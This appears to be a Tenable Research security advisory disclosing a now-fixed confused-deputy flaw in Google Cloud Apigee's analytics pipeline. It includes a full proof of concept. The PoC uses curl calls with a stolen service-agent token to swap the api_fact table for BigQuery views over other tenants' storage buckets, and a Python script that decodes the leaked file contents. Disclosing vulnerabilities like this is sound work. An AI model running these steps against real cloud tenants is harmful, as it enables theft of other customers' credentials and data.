Google Cloud Platform (GCP) Apigee Cross-Tenant Data Exfiltration via Confused Deputy

Medium

Synopsis

Tenable Research has identified and responsibly disclosed a critical cross-tenant data exfiltration vulnerability in Google Cloud Apigee. This flaw allowed an attacker to abuse a "confused deputy" in Apigee's internal analytics infrastructure to read arbitrary Google Cloud Storage (GCS) objects across different tenants, as well as shared production infrastructure buckets.

 

The vulnerability stems from how Apigee's backend analytics services, specifically the first-party service accounts [email protected] and [email protected], query analytics datasets in tenant projects.

 

Using the Apigee runtime service agent token (retrieved via proxy policy access to the Instance Metadata Service), an attacker gains control over BigQuery tables in their tenant project's analytics dataset. The attacker can drop the expected analytics table (api_fact or trace_fact) and replace it with a BigQuery VIEW pointing to an external table over a target Google Cloud Storage URI.

 

When Apigee's backend processes query the api_fact view via the Stats or Debug APIs:

  1. Confused Deputy Execution: The backend service account (edge-uap or edge-gaambo) executes the attacker-defined VIEW using its own highly privileged internal credentials.
  2. Cross-Tenant GCS Access: Because the backend service account has broad read access to Apigee tenant storage buckets and shared infrastructure repositories, it successfully evaluates the external table's GCS read request. This includes shared Apigee production infrastructure buckets. 
  3. Data Encoding & Exfiltration: The content of the target GCS files (such as API proxy bundles, credentials, backend URLs, or customer data) is rendered as dimension strings in the Stats API response, leaking the sensitive data back to the attacker.

 

Proof of Concept:

Setup:

  1. Create a victim Apigee organization and environment, with a deployed API proxy (for best results, the files should be ascii only)
  2. Note the Apigee bucket for the deployment, for the POC's purposes (in a real attack the attacker must obtain the name elsewhere):
    https://apigee.googleapis.com/v1/organizations/<VICTIM_ORG>/environments/<VICTIM_ENV>/deployedConfig
  3. Create an attacker Apigee organization and environment, deploy and trigger a proxy that exfiltrates the Service Agent token (You can follow the steps from issue 512456414)
  4. Define environment variables

export RUNTIME_TOKEN="<service-agent-token>"

export USER_TOKEN=$(gcloud auth print-access-token)

export TENANT_PROJECT=$(curl -s "<https://apigee.googleapis.com/v1/organizations/$ORG>" \

    -H "Authorization: Bearer $USER_TOKEN" | python3 -c "import json,sys; print(json.load(sys.stdin)['apigeeProjectId'])")

export ORG="<attacker-apigee-org>"

export ANALYTICS_DATASET="analytics_<attacker_org_name>" # Replace - with _

export ENV="<attacker-environment>"

export VICTIM_BUCKET="<target-apigee-bucket>" # For the sake of the POC can be found here: <https://apigee.googleapis.com/v1/organizations/><VICTIM_ORG>/environments/<VICTIM_ENV>/deployedConfig

export VICTIM_OBJECT="<target-object-path>" # Can be found using step 2.

Exploit:

  1. Back up the original api_fact table (so analytics can be restored after exfiltration):

     

curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \

  -H "Authorization: Bearer $RUNTIME_TOKEN" \

  -H "Content-Type: application/json" \

  -d '{

    "query": "CREATE TABLE `'$ANALYTICS_DATASET'.api_fact_backup` AS SELECT * FROM `'$ANALYTICS_DATASET'.api_fact` WHERE client_received_start_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 30 DAY)",

    "useLegacySql": false,

    "location": "US"

  }'

  1. List the contents of the victim's GCS bucket (to discover which objects are available for exfiltration):

     

# Create external table with wildcard URI to list all objects

curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \

  -H "Authorization: Bearer $RUNTIME_TOKEN" \

  -H "Content-Type: application/json" \

  -d '{

    "query": "CREATE OR REPLACE EXTERNAL TABLE `'$ANALYTICS_DATASET'.exfil_ext` (c1 STRING) OPTIONS (format=\"CSV\", uris=[\"gs://'$VICTIM_BUCKET'/*\"], encoding=\"ISO-8859-1\", field_delimiter=\"$\", quote=\"\", allow_jagged_rows=true, preserve_ascii_control_characters=true, max_bad_records=999999)",

    "useLegacySql": false,

    "location": "US"

  }'

 

# Deploy view that returns filenames as dimension values

curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \

  -H "Authorization: Bearer $RUNTIME_TOKEN" \

  -H "Content-Type: application/json" \

  -d '{

    "query": "CREATE OR REPLACE VIEW `'$ANALYTICS_DATASET'.api_fact` AS SELECT _FILE_NAME AS apiproxy, \"'$ORG'\" AS organization, \"'$ENV'\" AS environment, TIMESTAMP(\"2026-05-26 12:00:00 UTC\") AS client_received_start_timestamp, 1 AS message_count, 1 AS total_response_time FROM `'$ANALYTICS_DATASET'.exfil_ext` GROUP BY _FILE_NAME",

    "useLegacySql": false,

    "location": "US"

  }'

 

# Trigger via Stats API - response contains full file listing

curl -s "<https://apigee.googleapis.com/v1/organizations/$ORG/environments/$ENV/stats/apiproxy?select=sum(message_count)&timeRange=05/25/2026+00:00~05/29/2026+00:00&limit=1000>" \

  -H "Authorization: Bearer $USER_TOKEN"

  1. The Stats API response will contain dimension names like gs://apigee-xxxx-.../<uuid>, listing every object in the victim's bucket. The _FILE_NAME pseudo-column is a BigQuery feature that returns the source GCS URI for each row in an external table.

     
  2. Once a target object is identified from step 2, create a BigQuery external table pointing to that specific file:

     

curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \

  -H "Authorization: Bearer $RUNTIME_TOKEN" \

  -H "Content-Type: application/json" \

  -d '{

    "query": "CREATE OR REPLACE EXTERNAL TABLE `'$ANALYTICS_DATASET'.exfil_ext` (c1 STRING, c2 STRING, c3 STRING, c4 STRING, c5 STRING, c6 STRING, c7 STRING, c8 STRING, c9 STRING, c10 STRING) OPTIONS (format=\"CSV\", uris=[\"gs://'$VICTIM_BUCKET'/'$VICTIM_OBJECT'\"], encoding=\"ISO-8859-1\", field_delimiter=\"$\", quote=\"\", allow_jagged_rows=true, preserve_ascii_control_characters=true)",

    "useLegacySql": false,

    "location": "US"

  }'

  1. Drop the existing api_fact table and replace it with a malicious VIEW that reads the external table and formats the output as Stats API dimensions:

     

# Drop existing api_fact

curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \

  -H "Authorization: Bearer $RUNTIME_TOKEN" \

  -H "Content-Type: application/json" \

  -d '{

    "query": "DROP VIEW IF EXISTS `'$ANALYTICS_DATASET'.api_fact`",

    "useLegacySql": false,

    "location": "US"

  }'

 

# Create malicious view

curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \

  -H "Authorization: Bearer $RUNTIME_TOKEN" \

  -H "Content-Type: application/json" \

  -d '{

    "query": "CREATE OR REPLACE VIEW `'$ANALYTICS_DATASET'.api_fact` AS SELECT CONCAT(CAST(rn AS STRING), \":\", ARRAY_TO_STRING(ARRAY(SELECT CAST(cp AS STRING) FROM UNNEST(TO_CODE_POINTS(full_row)) cp), \",\")) AS apiproxy, \"'$ORG'\" AS organization, \"'$ENV'\" AS environment, TIMESTAMP(\"2026-05-26 12:00:00 UTC\") AS client_received_start_timestamp, 1 AS message_count, 1 AS total_response_time FROM (SELECT ROW_NUMBER() OVER() AS rn, ARRAY_TO_STRING([c1,c2,c3,c4,c5,c6,c7,c8,c9,c10], CHR(36)) AS full_row FROM `'$ANALYTICS_DATASET'.exfil_ext`)",

    "useLegacySql": false,

    "location": "US"

  }'

  1. Trigger edge-uap via the Apigee Stats API. The Stats API causes [email protected] to query api_fact (now our VIEW), which reads the victim's GCS file using edge-uap's credentials:

     

curl -s "<https://apigee.googleapis.com/v1/organizations/$ORG/environments/$ENV/stats/apiproxy?select=sum(message_count)&timeRange=05/25/2026+00:00~05/29/2026+00:00&limit=10000>" \

  -H "Authorization: Bearer $USER_TOKEN"  > stats_response.json

  1. The Stats API response contains the victim's file content encoded as dimension names:

     

{

  "environments": [{

    "dimensions": [

      {"name": "1:80,75,3,4,20,0,...", "metrics": [{"name": "sum(message_count)", "values": ["1"]}]},

      {"name": "2:60,63,120,109,...", "metrics": [{"name": "sum(message_count)", "values": ["1"]}]},

      ...

    ],

    "name": "eval"

  }]

}

  1. Each dimension name is a row from the victim's file, encoded as row_number:codepoint,codepoint,.... These code points map directly back to the original file bytes.

     
  2. Reconstruct the victim's file from the code points (as noted this may result in a corrupted zip, but can be repaired using the attached script):

     

import json

 

# Parse stats response

response = json.loads(open("stats_response.json").read())

dims = response["environments"][0]["dimensions"]

 

rows = {}

for d in dims:

    name = d["name"]

    rn_str, cps_str = name.split(":", 1)

    rn = int(rn_str)

    cps = [int(x) for x in cps_str.split(",")]

    rows[rn] = bytes(cp if cp <= 255 else CP1252_MAP[cp] for cp in cps)

 

# Reassemble file (rows separated by newline in CSV parsing)

max_row = max(rows.keys())

content = b"\n".join(rows.get(i, b"") for i in range(1, max_row + 1))

 

with open("exfiltrated_file_corrupted.zip", "wb") as f:

    f.write(content)

  1. To exfiltrate the shared Apigee production files, use the same listing technique from step 2 against the shared bucket (gs://apigee-uap-deployment-prod), then point the external table at a discovered file path:

     

curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \

  -H "Authorization: Bearer $RUNTIME_TOKEN" \

  -H "Content-Type: application/json" \

  -d '{

    "query": "CREATE OR REPLACE EXTERNAL TABLE `'$ANALYTICS_DATASET'.exfil_ext` (c1 STRING, c2 STRING, c3 STRING, c4 STRING, c5 STRING, c6 STRING, c7 STRING, c8 STRING, c9 STRING, c10 STRING) OPTIONS (format=\"CSV\", uris=[\"gs://apigee-uap-deployment-prod/<path-from-listing>\"], encoding=\"ISO-8859-1\", field_delimiter=\"$\", quote=\"\", allow_jagged_rows=true, preserve_ascii_control_characters=true)",

    "useLegacySql": false,

    "location": "US"

  }'

  1. Then repeat steps 4-7.

     
  2. Restore api_fact after exfiltration (cleanup):

     

curl -s -X POST "<https://bigquery.googleapis.com/bigquery/v2/projects/$TENANT_PROJECT/queries>" \

  -H "Authorization: Bearer $RUNTIME_TOKEN" \

  -H "Content-Type: application/json" \

  -d '{

    "query": "DROP VIEW IF EXISTS `'$ANALYTICS_DATASET'.api_fact`; CREATE TABLE `'$ANALYTICS_DATASET'.api_fact` AS SELECT * FROM `'$ANALYTICS_DATASET'.api_fact_backup`",

    "useLegacySql": false,

    "location": "US"

  }'

 

Solution

Google fixed this issue by adding strict validation checks to the backend analytics query pipeline.

Disclosure Timeline

June 4, 2026 - Tenable report the findings, Google acknowledge receipt
June 10, 2026 - Google accepts the issue as a valid bug
June 16, 2026 - Google awards a bounty
June 17, 2026 - Tenable requests an elaboration regarding the impact assessment
June 18, 2026 - Google acknowledges and updates they will escalate the elaboration request.
June 23, 2026 - Google revise their impact assessment and grant an additional bounty, Tenable acknowledge and request update on fix status and report quality feedback
June 24, 2026 - Google update they will look into report quality and will provide future fix updates as they are made available
Jun 25, 2026 - Google revise the report quality modifier, Tenable acknowledges
July 9, 2026 - Google releases CVE-2026-12879.
July 10, 2026 - Tenable requests details about the fix
July 21, 2026 - Tenable requests details about the fix
July 23, 2026 - Google updates that the issue is fixed

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]